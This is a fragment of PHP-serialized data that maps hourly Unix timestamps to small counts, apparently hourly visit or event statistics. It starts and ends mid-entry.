38;}i:1784872800;a:1:{i:0;i:50;}i:1784876400;a:1:{i:0;i:39;}i:1784880000;a:1:{i:0;i:30;}i:1784883600;a:1:{i:0;i:43;}i:1784887200;a:1:{i:0;i:28;}i:1784890800;a:1:{i:0;i:30;}i:1784894400;a:1:{i:0;i:57;}i:1784898000;a:1:{i:0;i:47;}i:1784901600;a:1:{i:0;i:54;}i:1784905200;a:1:{i:0;i:40;}i:1784908800;a:1:{i:0;i:48;}i:1784912400;a:1:{i:0;i:41;}i:1784916000;a:1:{i:0;i:44;}i:1784919600;a:1:{i:0;i:41;}i:1784923200;a:1:{i:0;i:34;}i:1784926800;a:1:{i:0;i:33;}i:1784930400;a:1:{i:0;i:48;}i:1784934000;a:1:{i:0;i:33;}i:1784937600;a:1:{i:0;i:36;}i:1784941200;a:1:{i:0;i:27;}i:1784944800;a:1:{i:0;i:20;}i:1784948400;a:1:{i:0;i:19;}i:1784952000;a:1:{i:0;i:34;}i:1784955600;a:1:{i:0;i:41;}i:1784959200;a:1:{i:0;i:41;}i:1784962800;a:1:{i:0;i:54;}i:1784966400;a:1:{i:0;i:42;}i:1784970000;a:1:{i:0;i:37;}i:1784973600;a:1:{i:0;i:47;}i:1784977200;a:1:{i:0;i:43;}i:1784980800;a:1:{i:0;i:62;}i:1784984400;a:1:{i:0;i:35;}i:1784988000;a:1:{i:0;i:28;}i:1784991600;a:1:{i:0;i:18;}i:1784995200;a:1:{i:0;i:38;}i:1784998800;a:1:{i:0;i:38;}i:1785002400;a:1:{i:0;i:30;}i:1785006000;a:1:{i:0;i:35;}i:1785009600;a:1:{i:0;i:43;}i:1785013200;a:1:{i:0;i:38;}i:1785016800;a:1:{i:0;i:41;}i:1785020400;a:1:{i:0;i:35;}i:1785024000;a:1:{i:0;i:34;}i:1785027600;a:1:{i:0;i:38;}i:1785031200;a:1:{i:0;i:32;}i:1785034800;a:1:{i:0;i:45;}i:1785038400;a:1:{i:0;i:45;}i:1785042000;a:1:{i:0;i:28;}i:1785045600;a:1:{i:0;i:43;}i:1785049200;a:1:{i:0;i:152;}i:1785052800;a:1:{i:0;i:35;}i:1785056400;a:1:{i:0;i:29;}i:1785060000;a:1:{i:0;i:35;}i:1785063600;a:1:{i:0;i:35;}i:1785067200;a:1:{i:0;i:33;}i:1785070800;a:1:{i:0;i:43;}i:1785074400;a:1:{i:0;i:34;}i:1785078000;a:1:{i:0;i:29;}i:1785081600;a:1:{i:0;i:32;}i:1785085200;a:1:{i:0;i:35;}i:1785088800;a:1:{i:0;i:33;}i:1785092400;a:1:{i:0;i:39;}i:1785096000;a:1:{i:0;i:26;}i:1785099600;a:1:{i:0;i:31;}i:1785103200;a:1:{i:0;i:41;}i:1785106800;a:1:{i:0;i:36;}i:1785110400;a:1:{i:0;i:25;}i:1785114000;a:1:{i:0;i:43;}i:1785117600;a:1:{i:0;i:42;}i:1785121200;a:1:{i:0;i:32;}i:1785124800;a:1:{i:0;i:38;}i:1785128400;a:1:{i:0;i:36;}i:1785132000;a:1:{i:0;i:43;}i:1785135600;a:1:{i:0;i:43;}i:1785139200;a:1:{i:0;i:41;}i:1785142800;a:1:{i:0;i:34;}i:1785146400;a:1:{i:0;i:28;}i:1785150000;a:1:{i:0;i:37;}i:1785153600;a:1:{i:0;i:25;}i:1785157200;a:1:{i:0;i:34;}i:1785160800;a:1:{i:0;i:15;}i:1785164400;a:1:{i:0;i:11;}i:1785168000;a:1:{i:0;i:20;}i:1785171600;a:1:{i:0;i:25;}i:1785175200;a:1:{i:0;i:24;}i:1785178800;a:1:{i:0;i:22;}i:1785182400;a:1:{i:0;i:19;}i:1785186000;a:1:{i:0;i:10;}i:1785189600;a:1:{i:0;i:21;}i:1785193200;a:1:{i:0;i:13;}i:1785196800;a:1:{i:0;i:14;}i:1785200400;a:1:{i:0;i:13;}i:1785204000;a:1:{i:0;i:26;}i:1785207600;a:1:{i:0;i:22;}i:1785211200;a:1:{i:0;i:14;}i:1785214800;a:1:{i:0;i:17;}i:1785218400;a:1:{i:0;i:18;}i:1785222000;a:1:{i:0;i:20;}i:1785225600;a:1:{i:0;i:18;}i:1785229200;a:1:{i:0;i:24;}i:1785232800;a:1:{i:0;i:19;}i:1785236400;a:1:{i:0;i:30;}i:1785240000;a:1:{i:0;i:22;}i:1785243600;a:1:{i:0;i:17;}i:1785247200;a:1:{i:0;i:16;}i:1785250800;a:1:{i:0;i:16;}i:1785254400;a:1:{i:0;i:18;}i:1785258000;a:1:{i:0;i:20;}i:1785261600;a:1:{i:0;i:34;}i:1785265200;a:1:{i:0;i:13;}i:1785268800;a:1:{i:0;i:18;}i:1785272400;a:1:{i:0;i:18;}i:1785276000;a:1:{i:0;i:15;}i:1785279600;a:1:{i:0;i:28;}i:1785283200;a:1:{i:0;i:91;}i:1785286800;a:1:{i:0;i:92;}i:1785290400;a:1:{i:0;i:30;}i:1785294000;a:1:{i:0;i:9;}i:1785297600;a:1:{i:0;i:26;}i:1785301200;a:1:{i:0;i:12;}i:1785304800;a:1:{i:0;i:26;}i:1785308400;a:1:{i:0;i:13;}i:1785312000;a:1:{i:0;i:24;}i:1785315600;a:1:{i:0;i:32;}i:1785319200;a:1:{i:0;i:41;}i:1785322800;a:1:{i:0;i:27;}i:1785326400;a:1:{i:0;i:21;}i:1785330000;a:1:{i:0;i:22;}i:1785333600;a:1:{i:0;i:39;}i:1785337200;a:1:{i:0;i:17;}i:1785340800;a:1:{i:0;i:19;}i:1785344400;a:1:{i:0;i:18;}i:1785348000;a:1:{i:0;i:8;}i:1785351600;a:1:{i:0;i:9;}i:1785355200;a:1:{i:0;i:17;}i:1785358800;a:1:{i:0;i:16;}i:1785362400;a:1:{i:0;i:14;}i:1785366000;a:1:{i:0;i:26;}i:1785369600;a:1:{i:0;i:15;}i:1785373200;a:1:{i:0;i:29;}i:1785376800;a:1:{i:0;i:21;}i:1785380400;a:1:{i:0;i:7;}i:1785384000;a:1:{i:0;i:24;}i:1785387600;a:1:{i:0;i:22;}i:1785391200;a:1:{i:0;i:28;}i:1785394800;a:1:{i:0;i:20;}i:1785398400;a:1:{i:0;i:27;}i:1785402000;a:1:{i:0;i:18;}i:1785405600;a:1:{i:0;i:28;}i:1785409200;a:1:{i:0;i:18;}i:1785412800;a:1:{i:0;i:19;}i:1785416400;a:1:{i:0;i:15;}i:1785420000;a:1:{i:0;i:19;}i:1785423600;a:1:{i:0;i:28;}i:1785427200;a:1:{i:0;i:24;}i:1785430800;a:1:{i:0;i:25;}i:1785434400;a:1:{i:0;i:20;}i:1785438000;a:1:{i:0;i:28;}i:1785441600;a:1:{i:0;i:22;}i:1785445200;a:1:{i:0;i:20;}i:1785448800;a:1:{i:0;i:19;}i:1785452400;a:1:{i:0;i:12;}i:1785456000;a:1:{i:0;i:16;}i:1785459600;a:1:{i:0;i:20;}i:1785463200;a:1:{i:0;i:17;}i:1785466800;a:1:{i:0;i:17;}i:1785470400;a:1:{i:0;i:19;}i:1785474000;a:1:{i:0;i:12;}i:1785477600;a:1:{i:0;i:14;}i:1785481200;a:1:{i:0;i:14;}i:1785484800;a:1:{i:0;i:18;}i:1785488400;a:1:{i:0;i:4;}i:1785492000;a:1:{i:0;i:15;}i:1785495600;a:1:{i:0;i:34;}i:1785499200;a:1:{i:0;i:19;}i:1785502800;a:1:{i:0;i:21;}i:1785506400;a:1:{i:0;i:32;}i:1785510000;a:1:{i:0;i:13;}i:1785513600;a:1:{i:0;i:18;}i:1785517200;a:1:{i:0;i:11;}i:1785520800;a:1:{i:0;i:19;}i:1785524400;a:1:{i:0;i:14;}i:1785528000;a:1:{i:0;i:20;}i:1785531600;a:1:{i:0;i:19;}i:1785535200;a:1:{i:0;i:6;}i:1785538800;a:1:{i:0;i:8;}i:1785542400;a:1:{i:0;i:21;}i:1785546000;a:1:{i:0;i:14;}i:1785549600;a:1:{i:0;i:16;}i:1785553200;a:1:{i:0;i:19;}i:1785556800;a:1:{i:0;i:21;}i:1785560400;a:1:{i:0;i:10;}i:1785564000;a:1:{i:0;i:17;}i:1785567600;a:1:{i:0;i:19;}i:1785571200;a:1:{i:0;i:4;}i:1785574800;a:1:{i:0;i:14;}i:1785578400;a:1:{i:0;i:31;}i:1785582000;a:1:{i:0;i:23;}i:1785585600;a:1:{i:0;i:28;}i:1785589200;a:1:{i:0;i:15;}i:1785592800;a:1:{i:0;i:16;}i:1785596400;a:1:{i:0;i:15;}i:1785600000;a:1:{i:0;i:19;}i:1785603600;a:1:{i:0;i:12;}i:1785607200;a:1:{i:0;i:3;}i:1785610800;a:1:{i:0;i:1;}i:1785614400;a:1:{i:0;i:1;}i:1785618000;a:1:{i:0;i:2;}i:1785621600;a:1:{i:0;i:1;}i:1785625200;a:1:{i:0;i:3;}i:1785628800;a:1:{i:0;i:2;}i:1785632400;a:1:{i:0;i:2;}i:1785639600;a:1:{i:0;i:1;}i:1785643200;a:1:{i:0;i:3;}i:1785646800;a:1:{i:0;i:4;}i:1785650400;a:1:{i:0;i:3;}i:1785654000;a:1:{i:0;i:1;}i:1785657600;a:1:{i:0;i:1;}i:1785661200;a:1:{i:0;i:2;}i:1785664800;a:1:{i:0;i:6;}i:1785668400;a:1:{i:0;i:4;}i:1785672000;a:1:{i:0;i:1;}i:1785675600;a:1:{i:0;i:1;}i:1785679200;a:1:{i:0;i:2;}i:1785682800;a:1:{i:0;i:6;}i:1785686400;a:1:{i:0;i:8;}i:1785690000;a:1:{i:0;i:11;}i:1785697200;a:1:{i:0;i:1;}i:1785704400;a:1:{i:0;i:1;}i:1785715200;a:1:{i:0;i:1;}i:1785718800;a:1:{i:0;i:4;}i:1785722400;a:1:{i:0;i:7;}i:1785726000;a:1:{i:0;i:5;}i:1785729600;a:1:{i:0;i:4;}i:1785733200;a:1:{i:0;i:4;}i:1785736800;a:1:{i:0;i:6;}i:1785740400;a:1:{i:0;i:3;}i:1785751200;a:1:{i:0;i:3;}i:1785754800;a:1:{i:0;i:15;}i:1785758400;a:1:{i:0;i:3;}i:1785762000;a:1:{i:0;i:12;}i:1785769200;a:1:{i:0;i:9;}i:1785780000;a:1:{i:0;i:6;}i:1785787200;a:1:{i:0;i:3;}i:1785790800;a:1:{i:0;i:3;}i:1785801600;a:1:{i:0;i:3;}i:1785808800;a:1:{i:0;i:6;}i:1785812400;a:1:{i:0;i:6;}i:1785819600;a:1:{i:0;i:1;}i:1785823200;a:1:{i:0;i:13;}i:1785826800;a:1:{i:0;i:9;}i:1785830400;a:1:{i:0;i:3;}i:1785837600;a:1:{i:0;i:12;}i:1785841200;a:1:{i:0;i:12;}i:1785844800;a:1:{i:0;i:10;}i:1785848400;a:1:{i:0;i:7;}i:1785852000;a:1:{i:0;i:5;}i:1785855600;a:1:{i:0;i:3;}i:1785859200;a:1:{i:0;i:6;}i:1785862800;a:1:{i:0;i:5;}i:1785866400;a:1:{i:0;i:8;}i:1785870000;a:1:{i:0;i:4;}i:1785873600;a:1:{i:0;i:9;}i:1785877200;a:1:{i:0;i:5;}i:1785880800;a:1:{i:0;i:1;}i:1785884400;a:1:{i:0;i:2;}i:1785888000;a:1:{i:0;i:4;}i:1785895200;a:1:{i:0;i:4;}i:1785898800;a:1:{i:0;i:2;}i:1785902400;a:1:{i:0;i:9;}i:1785906000;a:1:{i:0;i:3;}i:1785909600;a:1:{i:0;i:6;}i:1785913200;a:1:{i:0;i:13;}i:1785916800;a:1:{i:0;i:12;}i:1785920400;a:1:{i:0;i:6;}i:1785924000;a:1:{i:0;i:15;}i:1785927600;a:1:{i:0;i:2;}i:1785931200;a:1:{i:0;i:2;}i:1785934800;a:1:{i:0;i:7;}i:1785938400;a:1:{i:0;i:5;}i:1785942000;a:1:{i:0;i:7;}i:1785945600;a:1:{i:0;i:4;}i:1785949200;a:1:{i:0;i:6;}i:1785952800;a:1:{i:0;i:2;}i:1785956400;a:1:{i:0;i:4;}i:1785960000;a:1:{i:0;i:8;}i:1785967200;a:1:{i:0;i:1;}i:1785970800;a:1:{i:0;i:3;}i:1785974400;a:1:{i:0;i:4;}i:1785978000;a:1:{i:0;i:3;}i:1785981600;a:1:{i:0;i:1;}i:1785985200;a:1:{i:0;i:1;}i:1785992400;a:1:{i:0;i:5;}i:1785996000;a:1:{i:0;i:8;}i:1785999600;a:1:{i:0;i:12;}i:1786003200;a:1:{i:0;i:5;}i:1786006800;a:1:{i:0;i:10;}i:1786010400;a:1:{i:0;i:25;}i:1786014000;a:1:{i:0;i:17;}i:1786017600;a:1:{i:0;i:9;}i:1786021200;a:1:{i:0;i:8;}i:1786024800;a:1:{i:0;i:9;}i:1786028400;a:1:{i:0;i:11;}i:1786032000;a:1:{i:0;i:1;}i:1786035600;a:1:{i:0;i:5;}i:1786039200;a:1:{i:0;i:1;}i:1786042800;a:1:{i:0;i:15;}i:1786046400;a:1:{i:0;i:5;}i:1786050000;a:1:{i:0;i:5;}i:1786053600;a:1:{i:0;i:2;}i:1786057200;a:1:{i:0;i:16;}i:1786060800;a:1:{i:0;i:2;}i:1786064400;a:1:{i:0;i:6;}i:1786068000;a:1:{i:0;i:13;}i:1786071600;a:1:{i:0;i:11;}i:1786075200;a:1:{i:0;i:12;}i:1786078800;a:1:{i:0;i:4;}i:1786082400;a:1:{i:0;i:4;}i:1786086000;a:1:{i:0;i:4;}i:1786089600;a:1:{i:0;i:7;}i:1786093200;a:1:{i:0;i:7;}i:1786107600;a:1:{i:0;i:6;}i:1786111200;a:1:{i:0;i:6;}i:1786114800;a:1:{i:0;i:3;}i:1786122000;a:1:{i:0;i:9;}i:1786125600;a:1:{i:0;i:3;}i:1786129200;a:1:{i:0;i:9;}i:1786147200;a:1:{i:0;i:3;}i:1786165200;a:1:{i:0;i:3;}i:1786168800;a:1:{i:0;i:1;}i:1786172400;a:1:{i:0;i:4;}i:1786176000;a:1:{i:0;i:7;}i:1786179600;a:1:{i:0;i:2;}i:1786183200;a:1:{i:0;i:11;}i:1786186800;a:1:{i:0;i:8;}i:1786190400;a:1:{i:0;i:2;}i:1786194000;a:1:{i:0;i:9;}i:1786197600;a:1:{i:0;i:5;}i:1786201200;a:1:{i:0;i:4;}i:1786204800;a:1:{i:0;i:1;}i:1786208400;a:1:{i:0;i:2;}i:1786212000;a:1:{i:0;i:2;}i:1786215600;a:1:{i:0;i:3;}i:1786219200;a:1:{i:0;i:6;}i:1786222800;a:1:{i:0;i:2;}i:1786226400;a:1:{i:0;i:2;}i:1786230000;a:1:{i:0;i:3;}i:1786233600;a:1:{i:0;i:3;}i:1786237200;a:1:{i:0;i:4;}i:1786240800;a:1:{i:0;i:7;}i:1786244400;a:1:{i:0;i:3;}i:1786248000;a:1:{i:0;i:11;}i:1786251600;a:1:{i:0;i:2;}i:1786255200;a:1:{i:0;i:12;}i:1786258800;a:1:{i:0;i:5;}i:1786262400;a:1:{i:0;i:3;}i:1786266000;a:1:{i:0;i:7;}i:1786269600;a:1:{i:0;i:4;}i:1786273200;a:1:{i:0;i:2;}i:1786276800;a:1:{i:0;i:2;}i:1786280400;a:1:{i:0;i:22;}i:1786284000;a:1:{i:0;i:19;}i:1786287600;a:1:{i:0;i:8;}i:1786294800;a:1:{i:0;i:6;}i:1786298400;a:1:{i:0;i:3;}i:1786302000;a:1:{i:0;i:5;}i:1786305600;a:1:{i:0;i:4;}i:1786309200;a:1:{i:0;i:3;}i:1786312800;a:1:{i:0;i:1;}i:1786316400;a:1:{i:0;i:2;}i:1786320000;a:1:{i:0;i:4;}i:1786323600;a:1:{i:0;i:4;}i:1786327200;a:1:{i:0;i:9;}i:1786330800;a:1:{i:0;i:2;}i:1786334400;a:1:{i:0;i:1;}i:1786338000;a:1:{i:0;i:2;}i:1786341600;a:1:{i:0;i:13;}i:1786345200;a:1:{i:0;i:4;}i:1786348800;a:1:{i:0;i:3;}i:1786356000;a:1:{i:0;i:6;}i:1786359600;a:1:{i:0;i:15;}i:1786363200;a:1:{i:0;i:10;}i:1786366800;a:1:{i:0;i:12;}i:1786370400;a:1:{i:0;i:1;}i:1786374000;a:1:{i:0;i:4;}i:1786377600;a:1:{i:0;i:3;}i:1786381200;a:1:{i:0;i:2;}i:1786384800;a:1:{i:0;i:1;}i:1786392000;a:1:{i:0;i:1;}i:1786395600;a:1:{i:0;i:2;}i:1786399200;a:1:{i:0;i:10;}i:1786406400;a:1:{i:0;i:1;}i:1786410000;a:1:{i:0;i:2;}i:1786417200;a:1:{i:0;i:4;}i:1786420800;a:1:{i:0;i:1;}i:1786428000;a:1:{i:0;i:10;}i:1786431600;a:1:{i:0;i:3;}i:1786435200;a:1:{i:0;i:10;}i:1786438800;a:1:{i:0;i:4;}i:1786442400;a:1:{i:0;i:3;}i:1786446000;a:1:{i:0;i:7;}i:1786449600;a:1:{i:0;i:2;}i:1786453200;a:1:{i:0;i:4;}i:1786456800;a:1:{i:0;i:1;}i:1786460400;a:1:{i:0;i:2;}i:1786464000;a:1:{i:0;i:10;}i:1786467600;a:1:{i:0;i:14;}i:1786471200;a:1:{i:0;i:3;}i:1786474800;a:1:{i:0;i:3;}i:1786478400;a:1:{i:0;i:7;}i:1786482000;a:1:{i:0;i:3;}i:1786485600;a:1:{i:0;i:6;}i:1786489200;a:1:{i:0;i:1;}i:1786492800;a:1:{i:0;i:5;}i:1786496400;a:1:{i:0;i:2;}i:1786500000;a:1:{i:0;i:2;}i:1786507200;a:1:{i:0;i:5;}i:1786510800;a:1:{i:0;i:115;}i:1786514400;a:1:{i:0;i:2;}i:1786518000;a:1:{i:0;i:8;}i:1786521600;a:1:{i:0;i:6;}i:1786525200;a:1:{i:0;i:2;}i:1786528800;a:1:{i:0;i:2;}i:1786532400;a:1:{i:0;i:6;}i:1786536000;a:1:{i:0;i:19;}i:1786539600;a:1:{i:0;i:11;}i:1786543200;a:1:{i:0;i:26;}i:1786546800;a:1:{i:0;i:8;}i:1786550400;a:1:{i:0;i:9;}i:1786554000;a:1:{i:0;i:14;}i:1786557600;a:1:{i:0;i:2;}i:1786561200;a:1:{i:0;i:2;}i:1786564800;a:1:{i:0;i:4;}i:1786568400;a:1:{i:0;i:4;}i:1786572000;a:1:{i:0;i:2;}i:1786575600;a:1:{i:0;i:3;}i:1786579200;a:1:{i:0;i:7;}i:1786582800;a:1:{i:0;i:4;}i:1786586400;a:1:{i:0;i:2;}i:1786590000;a:1:{i:0;i:4;}i:1786593600;a:1:{i:0;i:56;}i:1786597200;a:1:{i:0;i:5;}i:1786600800;a:1:{i:0;i:9;}i:1786604400;a:1:{i:0;i:6;}i:1786608000;a:1:{i:0;i:5;}i:1786611600;a:1:{i:0;i:18;}i:1786615200;a:1:{i:0;i:13;}i:1786618800;a:1:{i:0;i:1;}i:1786622400;a:1:{i:0;i:17;}i:1786626000;a:1:{i:0;i:25;}i:1786629600;a:1:{i:0;i:11;}i:1786633200;a:1:{i:0;i:13;}i:1786636800;a:1:{i:0;i:8;}i:1786640400;a:1:{i:0;i:9;}i:1786644000;a:1:{i:0;i:2;}i:1786647600;a:1:{i:0;i:2;}i:1786651200;a:1:{i:0;i:16;}i:1786654800;a:1:{i:0;i:1;}i:1786658400;a:1:{i:0;i:3;}i:1786662000;a:1:{i:0;i:2;}i:1786665600;a:1:{i:0;i:5;}i:1786669200;a:1:{i:0;i:8;}i:1786672800;a:1:{i:0;i:2;}i:1786676400;a:1:{i:0;i:2;}i:1786680000;a:1:{i:0;i:1;}i:1786683600;a:1:{i:0;i:105;}i:1786687200;a:1:{i:0;i:14;}i:1786690800;a:1:{i:0;i:2;}i:1786694400;a:1:{i:0;i:10;}i:1786698000;a:1:{i:0;i:7;}i:1786701600;a:1:{i:0;i:8;}i:1786705200;a:1:{i:0;i:12;}i:1786708800;a:1:{i:0;i:10;}i:1786712400;a:1:{i:0;i:6;}i:1786716000;a:1:{i:0;i:3;}i:1786719600;a:1:{i:0;i:2;}i:1786723200;a:1:{i:0;i:7;}i:1786726800;a:1:{i:0;i:9;}i:1786730400;a:1:{i:0;i:11;}i:1786734000;a:1:{i:0;i:7;}i:1786737600;a:1:{i:0;i:3;}i:1786741200;a:1:{i:0;i:1;}i:1786744800;a:1:{i:0;i:2;}i:1786748400;a:1:{i:0;i:3;}i:1786752000;a:1:{i:0;i:3;}i:1786755600;a:1:{i:0;i:3;}i:1786759200;a:1:{i:0;i:5;}i:1786762800;a:1:{i:0;i:2;}i:1786766400;a:1:{i:0;i:2;}i:1786770000;a:1:{i:0;i:1;}i:1786773600;a:1:{i:0;i:4;}i:1786777200;a:1:{i:0;i:4;}i:1786780800;a:1:{i:0;i:2;}i:1786784400;a:1:{i:0;i:4;}i:1786788000;a:1:{i:0;i:6;}i:1786791600;a:1:{i:0;i:4;}i:1786795200;a:1:{i:0;i:12;}i:1786798800;a:1:{i:0;i:14;}i:1786802400;a:1:{i:0;i:22;}i:1786806000;a:1:{i:0;i:10;}i:1786809600;a:1:{i:0;i:27;}i:1786813200;a:1:{i:0;i:27;}i:1786816800;a:1:{i:0;i:18;}i:1786820400;a:1:{i:0;i:25;}i:1786824000;a:1:{i:0;i:9;}i:1786827600;a:1:{i:0;i:2;}i:1786831200;a:1:{i:0;i:2;}i:1786834800;a:1:{i:0;i:3;}i:1786838400;a:1:{i:0;i:2;}i:1786842000;a:1:{i:0;i:7;}i:1786845600;a:1:{i:0;i:2;}i:1786849200;a:1:{i:0;i:9;}i:1786852800;a:1:{i:0;i:12;}i:1786856400;a:1:{i:0;i:4;}i:1786860000;a:1:{i:0;i:5;}i:1786863600;a:1:{i:0;i:10;}i:1786867200;a:1:{i:0;i:6;}i:1786870800;a:1:{i:0;i:5;}i:1786874400;a:1:{i:0;i:3;}i:1786878000;a:1:{i:0;i:7;}i:1786881600;a:1:{i:0;i:3;}i:1786885200;a:1:{i:0;i:6;}i:1786888800;a:1:{i:0;i:3;}i:1786892400;a:1:{i:0;i:3;}i:1786896000;a:1:{i:0;i:1;}i:1786899600;a:1:{i:0;i:18;}i:1786903200;a:1:{i:0;i:14;}i:1786906800;a:1:{i:0;i:25;}i:1786910400;a:1:{i:0;i:27;}i:1786914000;a:1:{i:0;i:15;}i:1786917600;a:1:{i:0;i:29;}i:1786921200;a:1:{i:0;i:23;}i:1786924800;a:1:{i:0;i:32;}i:1786928400;a:1:{i:0;i:23;}i:1786932000;a:1:{i:0;i:32;}i:1786935600;a:1:{i:0;i:33;}i:1786939200;a:1:{i:0;i:34;}i:1786942800;a:1:{i:0;i:29;}i:1786946400;a:1:{i:0;i:22;}i:1786950000;a:1:{i:0;i:28;}i:1786953600;a:1:{i:0;i:20;}i:1786957200;a:1:{i:0;i:26;}i:1786960800;a:1:{i:0;i:22;}i:1786964400;a:1:{i:0;i:32;}i:1786968000;a:1:{i:0;i:25;}i:1786971600;a:1:{i:0;i:23;}i:1786975200;a:1:{i:0;i:30;}i:1786978800;a:1:{i:0;i:34;}i:1786982400;a:1:{i:0;i:24;}i:1786986000;a:1:{i:0;i:15;}i:1786989600;a:1:{i:0;i:26;}i:1786993200;a:1:{i:0;i:23;}i:1786996800;a:1:{i:0;i:17;}i:1787000400;a:1:{i:0;i:22;}i:1787004000;a:1:{i:0;i:20;}i:1787007600;a:1:{i:0;i:22;}i:1787011200;a:1:{i:0;i:28;}i:1787014800;a:1:{i:0;i:18;}i:1787018400;a:1:{i:0;i:23;}i:1787022000;a:1:{i:0;i:28;}i:1787025600;a:1:{i:0;i:14;}i:1787029200;a:1:{i:0;i:23;}i:1787032800;a:1:{i:0;i:66;}i:1787036400;a:1:{i:0;i:21;}i:1787040000;a:1:{i:0;i:36;}i:1787043600;a:1:{i:0;i:22;}i:1787047200;a:1:{i:0;i:32;}i:1787050800;a:1:{i:0;i:43;}i:1787054400;a:1:{i:0;i:25;}i:1787058000;a:1:{i:0;i:24;}i:1787061600;a:1:{i:0;i:17;}i:1787065200;a:1:{i:0;i:25;}i:1787068800;a:1:{i:0;i:22;}i:1787072400;a:1:{i:0;i:19;}i:1787076000;a:1:{i:0;i:27;}i:1787079600;a:1:{i:0;i:31;}i:1787083200;a:1:{i:0;i:19;}i:1787086800;a:1:{i:0;i:23;}i:1787090400;a:1:{i:0;i:32;}i:1787094000;a:1:{i:0;i:24;}i:1787097600;a:1:{i:0;i:34;}i:1787101200;a:1:{i:0;i:22;}i:1787104800;a:1:{i:0;i:24;}i:1787108400;a:1:{i:0;i:22;}i:1787112000;a:1:{i:0;i:32;}i:1787115600;a:1:{i:0;i:28;}i:1787119200;a:1:{i:0;i:24;}i:1787122800;a:1:{i:0;i:29;}i:1787126400;a:1:{i:0;i:23;}i:1787130000;a:1:{i:0;i:27;}i:1787133600;a:1:{i:0;i:16;}i:1787137200;a:1:{i:0;i:21;}i:1787140800;a:1:{i:0;i:26;}i:1787144400;a:1:{i:0;i:20;}i:1787148000;a:1:{i:0;i:21;}i:1787151600;a:1:{i:0;i:17;}i:1787155200;a:1:{i:0;i:11;}i:1787158800;a:1:{i:0;i:20;}i:1787162400;a:1:{i:0;i:25;}i:1787166000;a:1:{i:0;i:31;}i:1787169600;a:1:{i:0;i:24;}i:1787173200;a:1:{i:0;i:21;}i:1787176800;a:1:{i:0;i:16;}i:1787180400;a:1:{i:0;i:17;}i:1787184000;a:1:{i:0;i:20;}i:1787187600;a:1:{i:0;i:24;}i:1787191200;a:1:{i:0;i:22;}i:1787194800;a:1:{i:0;i:19;}i:1787198400;a:1:{i:0;i:25;}i:1787202000;a:1:{i:0;i:22;}i:1787205600;a:1:{i:0;i:24;}i:1787209200;a:1:{i:0;i:34;}i:1787212800;a:1:{i:0;i:31;}i:1787216400;a:1:{i:0;i:31;}i:1787220000;a:1:{i:0;i:23;}i:1787223600;a:1:{i:0;i:133;}i:1787227200;a:1:{i:0;i:26;}i:1787230800;a:1:{i:0;i:21;}i:1787234400;a:1:{i:0;i:17;}i:1787238000;a:1:{i:0;i:25;}i:1787241600;a:1:{i:0;i:28;}i:1787245200;a:1:{i:0;i:24;}i:1787248800;a:1:{i:0;i:23;}i:1787252400;a:1:{i:0;i:25;}i:1787256000;a:1:{i:0;i:19;}i:1787259600;a:1:{i:0;i:27;}i:1787263200;a:1:{i:0;i:19;}i:1787266800;a:1:{i:0;i:7;}i:1787270400;a:1:{i:0;i:7;}i:1787274000;a:1:{i:0;i:9;}i:1787277600;a:1:{i:0;i:11;}i:1787281200;a:1:{i:0;i:8;}i:1787284800;a:1:{i:0;i:2;}i:1787288400;a:1:{i:0;i:6;}i:1787292000;a:1:{i:0;i:7;}i:1787295600;a:1:{i:0;i:5;}i:1787299200;a:1:{i:0;i:4;}i:1787302800;a:1:{i:0;i:6;}i:1787306400;a:1:{i:0;i:10;}i:1787310000;a:1:{i:0;i:11;}i:1787313600;a:1:{i:0;i:16;}i:1787317200;a:1:{i:0;i:4;}i:1787320800;a:1:{i:0;i:4;}i:1787324400;a:1:{i:0;i:8;}i:1787328000;a:1:{i:0;i:11;}i:1787331600;a:1:{i:0;i:5;}i:1787335200;a:1:{i:0;i:8;}i:1787338800;a:1:{i:0;i:1;}i:1787346000;a:1:{i:0;i:3;}i:1787353200;a:1:{i:0;i:2;}i:1787356800;a:1:{i:0;i:10;}i:1787360400;a:1:{i:0;i:4;}i:1787364000;a:1:{i:0;i:2;}i:1787367600;a:1:{i:0;i:3;}i:1787371200;a:1:{i:0;i:10;}i:1787374800;a:1:{i:0;i:7;}i:1787378400;a:1:{i:0;i:10;}i:1787382000;a:1:{i:0;i:4;}i:1787385600;a:1:{i:0;i:7;}i:1787389200;a:1:{i:0;i:2;}i:1787392800;a:1:{i:0;i:1;}i:1787396400;a:1:{i:0;i:9;}i:1787400000;a:1:{i:0;i:11;}i:1787403600;a:1:{i:0;i:12;}i:1787407200;a:1:{i:0;i:9;}i:1787410800;a:1:{i:0;i:4;}i:1787414400;a:1:{i:0;i:4;}i:1787418000;a:1:{i:0;i:3;}i:1787421600;a:1:{i:0;i:3;}i:1787425200;a:1:{i:0;i:3;}i:1787428800;a:1:{i:0;i:6;}i:1787432400;a:1:{i:0;i:1;}i:1787436000;a:1:{i:0;i:3;}i:1787439600;a:1:{i:0;i:2;}i:1787443200;a:1:{i:0;i:2;}i:1787446800;a:1:{i:0;i:1;}i:1787450400;a:1:{i:0;i:2;}i:1787454000;a:1:{i:0;i:4;}i:1787457600;a:1:{i:0;i:64;}i:1787461200;a:1:{i:0;i:3;}i:1787464800;a:1:{i:0;i:9;}i:1787468400;a:1:{i:0;i:7;}i:1787472000;a:1:{i:0;i:7;}i:1787475600;a:1:{i:0;i:16;}i:1787479200;a:1:{i:0;i:3;}i:1787482800;a:1:{i:0;i:2;}i:1787486400;a:1:{i:0;i:1;}i:1787490000;a:1:{i:0;i:12;}i:1787493600;a:1:{i:0;i:1;}i:1787497200;a:1:{i:0;i:4;}i:1787500800;a:1:{i:0;i:1;}i:1787504400;a:1:{i:0;i:3;}i:1787508000;a:1:{i:0;i:7;}i:1787511600;a:1:{i:0;i:10;}i:1787515200;a:1:{i:0;i:5;}i:1787518800;a:1:{i:0;i:4;}i:1787522400;a:1:{i:0;i:4;}i:1787526000;a:1:{i:0;i:5;}i:1787529600;a:1:{i:0;i:8;}i:1787533200;a:1:{i:0;i:4;}i:1787536800;a:1:{i:0;i:7;}i:1787540400;a:1:{i:0;i:1;}i:1787544000;a:1:{i:0;i:2;}i:1787547600;a:1:{i:0;i:5;}i:1787551200;a:1:{i:0;i:1;}i:1787554800;a:1:{i:0;i:8;}i:1787562000;a:1:{i:0;i:6;}i:1787565600;a:1:{i:0;i:9;}i:1787569200;a:1:{i:0;i:6;}i:1787572800;a:1:{i:0;i:3;}i:1787576400;a:1:{i:0;i:7;}i:1787580000;a:1:{i:0;i:4;}i:1787583600;a:1:{i:0;i:2;}i:1787587200;a:1:{i:0;i:17;}i:1